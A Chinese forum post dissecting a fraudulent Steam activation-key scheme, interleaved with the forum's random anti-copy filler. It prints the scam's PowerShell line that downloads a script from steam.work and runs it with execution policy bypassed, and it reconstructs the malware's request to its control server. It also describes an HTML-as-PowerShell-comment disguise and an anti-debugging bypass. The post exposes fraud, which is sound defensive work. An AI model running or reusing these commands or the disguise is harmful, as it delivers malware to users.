找回密码
 立即注册
搜索
查看: 303|回复: 0

关于 steam.work 激活码诈骗脚本的分析

[复制链接]

48

主题

0

回帖

1578

积分

管理员

积分
1578
发表于 2025-2-19 10:02:21 | 显示全部楼层 |阅读模式
刚刚去买了个 cdkey 准备送给朋友,结果一看发货介绍感觉有点不对劲:" p% o( q+ f6 P: p7 c
2 ~- E- J) D5 }; m' u" B) _
" w- M% v- l$ w& K5 K7 ?9 N
啥啊,irm iex 这不是经典的从网络获取脚本并执行的操作吗,怎么领个激活码还要搞这?5 p) i8 Z9 Y$ E6 e
+ m; ^+ q6 I1 \4 Y
我一开始还以为是自动安装加速器,商家还怪好的捏,直到我激活不了,把这脚本拉下来看了看:; U7 k. F9 u# X6 ]

/ {3 p  L: b8 q" H; L  r7 G: M9 d好家伙 这玩意整了个极其有欺骗性的东西,因为powershell的多行注释正好是<# #>,正好 HTML 文件的开头是 <!DOCTYPE html> 这鸟人给他改成 <#!DOCTYPE html> 就变成 powershell 的注释了.. 我都差点没看出来..网页还做了 UA 判断和跳转,真是够阴损: }2 u, F( Y+ O

' [5 j- m' ]0 D6 N0 r* |那么真实的代码就只剩两行了:& z, v+ G& U6 e3 x0 }+ a: S
[PowerShell] 纯文本查看 复制代码8 s, O7 s  s) k1 E& Z6 h* M: t" Q5 c  S
?2 K+ [6 y$ _! R* |7 f
1
) b# [3 R. j9 f1 @2, @& _7 x8 s& X3 E
irm steam.work/pwsDwFile/new1 -OutFile x.ps1
/ ^6 m0 u. z; ?. n5 C6 j( m9 spowershell.exe -ExecutionPolicy Bypass -File x.ps1;
, |! I5 j& S5 U7 R: Q
2 m( n4 o2 A0 s
; x( _4 L1 J( w* d+ h

4 I" q4 _# T4 |5 E2 g5 e& s. S

6 I: r# E5 A( Y5 `
" ?# I" L. h+ C4 E看得出来,又是下脚本...我们把这玩意也下下来看一眼:
1 K; M" S" V  Q0 I* z& ~, H7 ]5 z: R1 L, u+ t( r1 j. a3 x+ t$ u0 s) B
我怎么兑换个激活码你还给我注入上 Steam了!有病啊!
! Q+ j) b/ t; O那么我们便不得不好奇一下注入的文件里到底干了啥呢,我们下下来拖进静态分析,但是里面几乎啥都没有,只有两个有意思的地方:
4 Q1 R8 E' A6 K/ m) y- _1. 把危险函数 VirtualAlloc 等 伪装成普通函数:  P" O" z8 _' }" H! Y* j( a

& |4 j6 l2 N* W4 v( h, `# q2. 里面有 zlib.inflate (图里打错了)
( O$ P5 Z+ z7 B8 E& T! m) w8 I4 a+ P  n
& U2 w3 i( V  Z3 u
看上去他是在尝试现场解压某种payload来执行啊!我们直接开一个 Windows Sandbox 来动态调试一下:
: [. {. V  w: t+ D9 o# C0 ~打开 x32dbg,在 zlib.inflate处打断点,很容易就拿到解压出的东西
# t; u; j  o4 G% ^/ p9 i. ~% ~$ {* K+ }
[eax + 0x4 * 3] -> 解压出缓冲区指针
( I& }: a; ?. E. J' y) b  @[eax + 0x4 * 5] -> 解压出数据长度
% U8 h& q; m$ [9 Z$ G2 \' @, {
不看不知道,一看 MZ 开头,PE格式没跑了,直接一个 savefile 把它存下来,拖进 Binary Ninja3 b" d& Z# G5 S6 K& H
这个文件也有点诡异,有三个 .text 段里面两个都是空的,还有一个 XRef 几乎扫不出来...总之先看一眼 IAT:
; u: N2 y5 S; ?+ k7 M
( O# q+ `) L! t8 n' N  E5 _( O怎么还引用了一个 winsqlite 啊,看起来像是打算操作 Steam 的数据库?
/ H- K7 S/ A5 r9 o4 Y2 l+ t! @, L  s4 _( {! G6 |% a
这里还有一些十足诡异的找不到引用的函数,看上去是加密的字符串
6 h; O3 Y- Z$ x0 U4 M1 }  w5 L0 C) Y3 W# i
(接前文)) k* G+ s* O1 z) N
那么自然我们现在应该给导出的仅有的几个函数打一下断点看看;首当其冲怀疑的就是这个网络函数
4 P/ W5 N" o7 p2 G0 s; ^直接先在该 dll 加载前打断点,暂停后在InternetOpenA打断点;发现有反调试检测,用 ScyllaHide Basic 轻松过掉
9 w7 u3 X9 W. }8 |4 D9 @然后就断下来了,我们来看一眼
( {- U( I! N: Y7 a3 A7 T) M: t, V( p0 E1 U4 Z$ ]+ W3 L( p9 k% H" S
直接找到病毒开始请求配置的地方和端点了,大收获啊;但是我们直接访问 http://api.steam.work/api/integral/vs ,他是返回 403 Unauthorized 的,看来可能有什么 UA,POST body之类的,继续下断点查一下1 G( r: {# ^; z( @' i
在InternetOpenA InternetConnectA HttpOpenRequestA HttpSendRequestA,成功还原整个请求:+ \3 V: w' \, Q' S
/ ]0 C. P% v" C& S
HTTP1.1 POST http://api.steam.work/api/integral/vs
" I5 }  k6 F4 u: ~  |0 pReferer: version
: s! S; |1 N, `8 @( ^: Uuser-agent: steam
* u! s1 j3 P9 `+ D{"sign":"ckv"}
+ B! _: T% W  q3 T4 z+ Y9 u
; W- ^1 M& D4 `6 A: `8 i
6 H- Y# K+ D9 e4 H0 X! i# M; g

3 D) a8 Z3 ?: Z9 N) A
, D  p) c- F  r; O- v9 w5 g# W返回值拿到手,只有一串不知道是什么的 hex;我们先再看看其他几个点
+ S$ A5 a3 ~# J6 i& @. {5 `sqlite这边下断点以后啥也没有,可能是激活的时候才会操作(我用的Windows Sandbox,不知道为什么打不开Steam……)4 Y' L3 n4 P# h. A9 b  I
; e7 V, P: e1 g8 V: d1 V  ]
于是转移到一台实机上继续分析。4 E. b2 _5 g( c. [5 b( Z
& Y$ L0 f" `+ d, x; C. W/ O8 W

& g! Y. _: }3 a% X+ z  s直接拿它给的虚假激活码来激活,可以直接断在 HTTP 请求点
! ~, T' W  \/ y  u( J把请求掏出来看看:# B- \& n1 k( N* R5 Z& e- J

2 ]; _& r  Q" c. A( Q看起来是成功了,返回一个 code 和一个 data;7 m9 _6 N; @  B; @; @( h8 g' ^0 Y+ l
这个 ID 又是啥?) A2 Z( \* Y& _8 w$ |8 I
7 O; d7 I& h2 b. C0 ]5 Q3 ]; w  I
哦,哈迪斯的 App ID: V; k2 o7 |7 s) B/ h) e
那么接着调试,在一通奇奇怪怪的网络请求之后,它下下来一个 8k 的文件到 steam 的目录里0 a$ `! ~+ s% }2 }
C:\Program Files (x86)\Steam\package\data
& A/ k0 `: y7 U* Z2 ]# c- `/ G9 V. f3 r
这是干啥的呢?看看我们正常的 Steam 这里有什么...居然什么都没有!7 E1 I! Q5 |. T, }
那么就说明,这个文件是病毒专用的了;我们直接 ImHex 打开
7 P1 g* u* A6 C; c: k2 O1 i, K: s! A, m! q" ~. R
居然是个数据库!怪不得他要链 winsqlite;那这个数据库里有啥?我们丢进查看器:
6 h( O7 V# ]  p+ ?2 D8 k3 M& Q6 X1 a( H
有个appid,和两个不认识的hex;把键名拿去搜搜看:
: r4 |# F8 f! {7 Z  m6 L4 s" |0 R8 Y
  W/ `+ x( k, S& O7 Z$ d
原来是这样!这是一种叫做“清单入库”的已经广为流传的Steam免费入库方式,结果被不法商家用于欺诈消费者,十分恶劣!0 ~! Q5 u1 y  G
, C& u1 v6 z5 e, B8 a9 w% t( L4 P
还有一些相关信息,大家可以自行查看→ https://github.com/pjy612/SteamManifestCache/discussions/374 https://github.com/pjy612/SteamManifestCache/wiki/DecryptionKey3 Y! ?6 w5 z& o! ~% Z$ d% j

8 L& N8 \. _7 e) R% y% M
! i5 w: B) w* R2 Y6 \

" L) `, |1 [9 h! v/ ^( T/ j9 S! d/ P! }5 q: s& X3 k6 Q

. g: d* I2 q+ |7 s( Y4 `4 a8 n# C6 k/ O4 z4 D+ H) b) z

! s2 L- p! B; J; Y. J  n
# q$ u, D" i9 y* ?1 O/ J
! |! ~1 I) ?% m6 b

" m7 I- L  R" `/ N) Y7 r6 ^
* d4 J2 o/ L$ u; T2 G* C6 c& b0 j7 _6 ]. S5 i" y
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|

GMT+8, 2026-11-3 02:35 AM , Processed in 0.101186 second(s), 23 queries .

Powered by xyh-moon X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表